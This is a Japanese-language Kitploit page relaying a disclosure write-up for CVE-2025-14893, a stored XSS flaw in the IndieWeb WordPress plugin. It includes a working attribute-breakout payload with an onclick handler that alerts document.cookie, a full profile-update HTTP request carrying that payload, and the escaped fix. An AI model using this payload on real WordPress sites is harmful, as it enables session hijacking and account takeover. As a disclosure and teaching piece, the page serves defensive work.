Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-14893 — IndieWeb WordPressプラグインにおける認証済み保存型クロスサイトスクリプティング (XSS) | Kitploit
ツール/GitHubGitHub/d3kc4rt1/cve-2025-14893
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubd3kc4rt1/cve-2025-14893

CVE-2025-14893

IndieWeb WordPressプラグインにおける認証済み保存型クロスサイトスクリプティング (XSS)

リポジトリを見る
15ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-14893: WordPressプラグインIndieWebにおける認証済み格納型クロスサイトスクリプティング(XSS)

免責事項: このリポジトリは教育目的および倫理的な開示のために作成されています。本脆弱性は責任を持ってベンダーに報告され、パッチが適用されています。適切な許可なく、この情報をシステムの悪用に使用しないでください。

概要

格納型クロスサイトスクリプティング(XSS) の脆弱性が、WordPress用IndieWebプラグイン(バージョン <= 4.0.5)で発見されました。この脆弱性により、著者(Author) 権限以上の認証済み攻撃者が、自身のユーザープロフィールの「電話番号」フィールドに悪意のあるJavaScriptを注入できます。

「著者プロフィールHカードウィジェット」がフロントエンドに表示されると、適切なサニタイズが行われずに注入されたスクリプトがレンダリングされます。管理者(Administrator)などの高い権限を持つユーザーが操作されたリンクをクリックすると、スクリプトがそのブラウザコンテキストで実行されます。これにより、セッションハイジャック、権限のない管理操作、完全なアカウント乗っ取り(ATO)につながる可能性があります。

脆弱性の概要

  • CVE ID: CVE-2025-14893
  • 製品: IndieWeb(WordPressプラグイン)
  • 影響を受けるバージョン: <= 4.0.5
  • 脆弱性の種類: 格納型クロスサイトスクリプティング(XSS)(CWE-79)
  • 必要な権限: 認証済み(著者レベル以上)

技術的な詳細と根本原因

問題の核心は、プラグインのテンプレーティングシステムにおけるユーザーメタデータの安全でない処理、具体的にはWordPressの組み込みエスケープ関数を使用していない点にあります。

脆弱性ファイル: templates/h-card.php(27行目)

root@kitploit:~
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>

欠陥: プラグインは、ユーザーのtelメタデータをesc_attr()でラップせずにechoを使用してHTML属性href内に直接出力しています。これにより、攻撃者はダブルクォート(")を含む細工された文字列を提供することでhref属性を早期に閉じ、任意のHTML属性(styleやonclickなど)を続けて挿入できます。

ビジネスインパクト

  • アカウント乗っ取り(ATO): 管理者が操作された要素とやり取りすると、攻撃者のJavaScriptがセッションクッキーを盗んだり、管理AJAXリクエストを実行したりして、攻撃者がWordPressサイトを完全に制御できるようになります。
  • 評判の低下: 攻撃者はページの表示要素を改ざん(改ざん表示)したり、正規の訪問者を悪意のある第三者サイトにリダイレクトしたりできます。

概念実証(PoC)

前提条件

  1. WordPressがインストールされ、IndieWeb <= 4.0.5 が有効化されていること。
  2. 著者(Author) ロールを持つ攻撃者アカウント。
  3. 「著者プロフィールHカードウィジェット」がフロントエンドの表示可能な領域(例:サイドバー)に追加されていること。

攻撃手順

  1. WordPressダッシュボードに著者としてログインします。
  2. プロフィール(/wp-admin/profile.php)に移動します。
  3. 電話番号フィールドまでスクロールします。
  4. 以下のペイロード(href属性から抜け出すもの)を注入します:
    root@kitploit:~
    Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
    
  5. プロフィールを更新をクリックします。
  6. 重要な手順: 新しい投稿を作成し公開します。脆弱なウィジェットは、著者情報を表示するために単一投稿ページ(is_single())でのみレンダリングされます。
  7. トリガー: 管理者がフロントエンドで公開された投稿を訪問し、新しくスタイル設定された「Click_Me」電話ボタンをクリックすると、XSSペイロード(セッションクッキーをアラート表示)が実行されます。

悪意のあるHTTPリクエストの例(プロフィール更新)

root@kitploit:~
POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]

_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile

修正方法

この脆弱性を修正するには、プラグイン開発者はWordPressのesc_attr()およびesc_html()関数を使用して出力を適切にエスケープする必要があります。

修正後のコード例:

root@kitploit:~
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>

タイムライン

  • 日付 (2026-03-03): Wordfenceに報告。
  • 日付 (2026-03-20): 脆弱性が修正され、公開開示。

参考文献とクレジット

  • Wordfence脆弱性データベース
  • NVD上のCVE-2025-14893
  • WordPress.org上のIndieWebプラグイン
ツールをダウンロード